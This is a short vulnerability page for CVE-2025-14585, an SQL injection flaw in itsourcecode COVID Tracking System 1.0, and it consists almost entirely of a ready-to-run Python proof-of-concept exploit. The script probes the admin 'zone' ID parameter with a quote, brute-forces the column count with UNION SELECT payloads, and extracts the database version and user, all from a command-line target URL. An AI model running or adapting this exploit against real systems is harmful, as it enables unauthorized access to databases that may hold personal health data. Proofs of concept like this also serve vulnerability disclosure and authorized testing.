CVE-2025-14585 | itsourcecode COVID Tracking System 1.0 SQL注入漏洞

import requests import sys # CVE-2025-14585 SQL Injection PoC # Target: itsourcecode COVID Tracking System 1.0 # Endpoint: /admin/?page=zone&ID=<payload> def exploit(target_url, payload): """Send SQL injection payload to vulnerable endpoint""" vuln_url = f"{target_url}/admin/?page=zone&ID={payload}" headers = { 'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36' } try: response = requests.get(vuln_url, headers=headers, timeout=10) return response.status_code, response.text except requests.exceptions.RequestException as e: return None, str(e) def basic_test(target_url): """Basic test to confirm vulnerability""" # Test with single quote to trigger SQL error payload = "'" status, resp = exploit(target_url, payload) if status and ('sql' in resp.lower() or 'error' in resp.lower() or 'warning' in resp.lower()): return True return False def union_based_injection(target_url): """UNION-based SQL injection to extract database info""" # Determine number of columns (adjust column count as needed) for i in range(1, 10): columns = ','.join(['NULL'] * i) payload = f"' UNION SELECT {columns}-- -" status, resp = exploit(target_url, payload) if status and 'UNION' not in resp: # Found correct column count # Extract database version and user info_payload = f"' UNION SELECT NULL,NULL,@@version,user(),NULL-- -" _, info_resp = exploit(target_url, info_payload) return info_resp return None if __name__ == '__main__': if len(sys.argv) < 2: print('Usage: python cve-2025-14585.py <target_url>') print('Example: python cve-2025-14585.py http://target.com/covid-tracking') sys.exit(1) target = sys.argv[1].rstrip('/') print(f'[*] Testing CVE-2025-14585 on {target}') if basic_test(target): print('[+] Vulnerability confirmed!') print('[*] Extracting database information...') info = union_based_injection(target) if info: print(f'[+] Database Info: {info}') else: print('[-] Vulnerability not detected or target not vulnerable')